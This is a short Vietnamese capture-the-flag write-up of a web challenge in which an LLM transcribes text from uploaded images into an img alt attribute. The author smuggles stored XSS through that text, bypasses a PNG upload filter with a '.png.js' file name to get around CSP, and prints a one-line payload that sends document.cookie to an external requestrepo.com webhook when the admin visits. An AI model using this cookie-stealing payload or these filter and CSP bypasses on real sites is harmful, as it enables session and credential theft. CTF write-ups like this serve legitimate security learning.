Status: Done
Summary
💡 Một challenge khá hay về Web LLM. Tuy nhiên vì bài blackbox, không rõ ràng nên việc phát hiện LLM khá là khó. Mình không làm được trong giải; lúc đó upload ảnh lớn nên LLM không extract được text, khiến mình nghĩ vuln nằm chỗ khác. Thêm nữa, chall khó ở chỗ gửi friend request: ta không thấy nó làm gì. Tuy nhiên admin sẽ nhận được request và visit profile của ta.
Description

Analyst
-
Ý tưởng của bài này là ta cần có XSS stored trong server. Từ đó admin visit và gửi flag lưu trong cookie.
-
Đầu tiên khi ta up lên 1 file ảnh text thì thấy LLM extract ra text và đẩy vào
alt. Nếu ảnh không có text thì để mặc định là default description.
-
Từ đó ta nghĩ đến ý tưởng close value
altvà chèn XSS. Thành công, tuy nhiên CSP gánselfnên code payload không được thực thi. -
Nếu ta có thể đẩy lên 1 file JS lưu ở server thì khi script gọi đến
srcpath đó sẽ nhận script làselfvà execute. -
Ý tưởng:
- Đẩy lên file JS để bypass filter PNG khi upload (chèn
filename.png.js). - Sau đó đẩy lên ảnh text để LLM extract ra, chèn code XSS và gửi req ra webhook.
- Gửi friend request đến admin để lấy flag.
- Đẩy lên file JS để bypass filter PNG khi upload (chèn
Exploit
- Đẩy lên file JS:

- Payload file JS có dạng như sau:
document.location = "http://om6gplwj.requestrepo.com?" + document.cookie;
Vì bài này còn set thêm default-src nên ta dùng document.location thay vì fetch.
-
Up lên 1 ảnh như sau:

-
Gửi request cho admin và có flag:
